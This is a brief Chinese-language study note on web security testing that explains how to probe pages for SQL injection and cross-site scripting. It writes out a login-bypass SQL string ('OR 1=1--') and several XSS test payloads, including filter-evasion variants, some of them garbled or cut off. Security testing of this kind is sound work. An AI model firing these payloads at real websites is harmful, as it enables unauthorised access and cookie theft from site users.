pop安全测试学习

1、当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如 />
2、其 次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入 /INDEX.ASP?USERNAME=HI' OR 1=1--

3、最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器 的相关信息;如果 能说明存在SQL安 全漏洞.

4、XSS测试?

• <!--[if !supportLists]-->首先,找到带有参数传递的URL,如 登录页面,搜索页面,提交评论,发表留言 页面等等。
• <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试：
• ><scrīpt>alert(document.cookie)</scrīpt>
  ='><scrīpt>alert(document.cookie)</scrīpt>
  <scrīpt>alert(document.cookie)</scrīpt>
• 
  
• <IMG SRC="jav ascrīpt:alert('XSS');">
  "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
  <IMG SRC=" javascrīpt:alert('XSS');">
• 
  
• <scrīpt a=">" SRC="īpt>
  <scrīpt =">" SRC="īpt>
  <scrīpt a=">" '' SRC="īpt>
• 
  
• • 最后,当用户浏览 时便会弹出一个警告框，内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。
  • 试想如果我们注入的不是以上这个简单的测试代码，而是一段经常精心设计的恶意脚本，当用户浏览此帖时，cookie信息就可能成功的被 攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。
  
  

<scrīpt>alert(document.cookie)</scrīpt>